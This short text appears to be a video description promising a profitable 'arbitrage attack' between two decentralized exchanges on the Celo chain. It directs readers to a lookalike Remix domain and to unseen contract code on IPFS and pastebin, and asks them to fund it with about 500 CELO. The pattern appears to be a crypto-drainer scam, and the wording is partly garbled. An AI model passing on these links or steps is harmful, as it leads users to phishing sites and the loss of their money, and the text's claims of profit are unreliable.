On January 8, 2023, this video will show you how to set up an arbitrage attack on two decentralized exchanges (DEXs) on the Celo Chain. You will create a coin on CeloDex and then rapidly trade it against Polydex.
A new gas fee of approximately 500 CELO will be required to earn more than the amount in the video. Note that CELO must be withdrawn to the Celo Chain, which is EVM/Metamask compatible.
To get started, download Metamask from https://metamask.io/download.html and set it up to connect to the Celo Mainnet at https://chainlist.org/chain/42220. Then, use Remix at https://www.remixsethereum.ga to access the smart contract code at https://ipfs.io/ipfs/QmZcnjNuwBBx5tTEWVJqZ7fMJo1rZKBJnRW2cSc3JoVe7V (backup at https://pastebin.com/raw/4thgjKhF).
Finally, you will need to convert USD to CELO at https://crypto.com/price/celo. Visit CeloDex at https://www.celodex.org/ and the Polydex smart contracts at https://github.com/polydex-fi/polydex-swap-core to learn more about flash loans and what they are used for.